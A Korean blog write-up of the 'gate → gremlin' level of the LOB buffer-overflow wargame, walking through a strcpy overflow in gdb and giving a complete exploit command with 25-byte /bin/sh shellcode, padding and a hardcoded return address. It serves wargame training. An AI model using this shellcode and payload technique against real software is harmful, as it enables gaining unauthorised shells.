시스템 해킹/LOB

[LOB] gate → gremlin

ruming 2021. 2. 9. 21:29

 

id/pw : gate/gate로 접속

 

gremlin.c 파일을 열어보았다. strcpy 함수는 복사하는 문자열의 길이를 검증하지 않아 취약점이 발생한다.

 

먼저 \xff를 \x00으로 인식하는 오류를 피하기 위해 bash2를 사용했다. 권한 문제로 gremlin을 복사한 gremlin2를 gdb로 확인해보자.

 

*main+62에서 buffer가 ebp-256에 있는 것을 알 수 있다. 버퍼의 크기가 256이기 때문에 dummy값은 없는 것 같다.

buffer(256) - sfp(4) - ret(4)

 

buffer의 주소를 알기 위해 *main+59에 breakpoint를 설정할 것이다.

그리고 A를 256개 입력해준다.

 

b*main+59

r `python -c 'print "A"*256'`

 

x/100x $esp는 주소에서 100개를 16진수로 출력해달라는 뜻이다.

여기서 buffer의 주소가 0xbffff928인 것을 알 수 있었다.

 

이제 공격을 시도해보자. 25바이트 쉘 코드를 사용할 것이다.

25바이트 쉘코드에 dummy값 235바이트를 채우고 buffer주소를 넣을 것이다.

쉘코드(25) + dummy(235) + buffer(4)
./gremlin `python -c'print"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"A"*235+"\x28\xf9\xff\xbf"'`

gremlin에 공격 시도

공격에 성공했다!

 

hello bof world

 

 

'시스템 해킹 > LOB' 카테고리의 다른 글

[LOB] wolfman → darkelf  (0) 2021.02.22
[LOB] orc → wolfman  (0) 2021.02.21
[LOB] goblin → orc  (0) 2021.02.21
[LOB] cobolt → goblin  (0) 2021.02.20
[LOB] gremlin → cobolt  (0) 2021.02.20